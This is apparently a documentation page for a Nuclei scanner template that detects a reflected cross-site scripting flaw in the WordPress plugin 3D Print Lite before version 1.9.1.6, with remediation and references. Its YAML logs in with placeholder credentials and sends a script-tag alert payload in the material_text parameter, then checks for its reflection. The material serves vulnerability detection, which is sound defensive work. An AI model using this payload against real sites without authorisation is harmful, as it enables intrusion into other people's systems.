3D Print Lite < 1.9.1.6 - Reflected Cross-Site Scripting
ID: 3d-print-lite-xss
Severity: medium
Author: r3Y3r53
Tags: 3dprint,lite,authenticated,wpscan,xss,wordpress,wp-plugin,wp
Description
Section titled “Description”The plugin does not sanitise and escape some user input before outputting it back in attributes, leading to Reflected Cross-Site Scripting issues
YAML Source
Section titled “YAML Source”id: 3d-print-lite-xss
info: name: 3D Print Lite < 1.9.1.6 - Reflected Cross-Site Scripting author: r3Y3r53 severity: medium description: | The plugin does not sanitise and escape some user input before outputting it back in attributes, leading to Reflected Cross-Site Scripting issues remediation: Update to plugin version 1.9.1.6 or latest reference: - https://wpscan.com/vulnerability/5909e225-5756-472e-a2fc-3ac52c7fb909 - https://www.acunetix.com/vulnerabilities/web/wordpress-plugin-3dprint-lite-cross-site-scripting-1-9-1-5/ metadata: verified: true max-request: 2 tags: 3dprint,lite,authenticated,wpscan,xss,wordpress,wp-plugin,wp
http: - raw: - | POST /wp-login.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In - | GET /wp-admin/admin.php?page=p3dlite_materials&material_text="><script>alert(document.domain)</script> HTTP/1.1 Host: {{Hostname}}
matchers: - type: dsl dsl: - 'status_code_2 == 200' - 'contains(content_type_2, "text/html")' - 'contains(body_2, "<script>alert(document.domain)</script>")' - 'contains(body_2, "3dprint-lite_page_p3dlite_materials")' condition: and# digest: 4a0a004730450220384b4d6a6c9414b78aa5ef4e52841ac13f3799712dce65f6eadf4fcb0f897e01022100ce351d736946c79309e47a69b5364cdfe7dc5440f03bf79322ed73e1b2aaf9e9:922c64590222798bb761d5b6d8e72950Guide to check the vulnerabilities
Section titled “Guide to check the vulnerabilities”This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.
$ nuclei -u "URL" -t "http/vulnerabilities/wordpress/3d-print-lite-xss.yaml"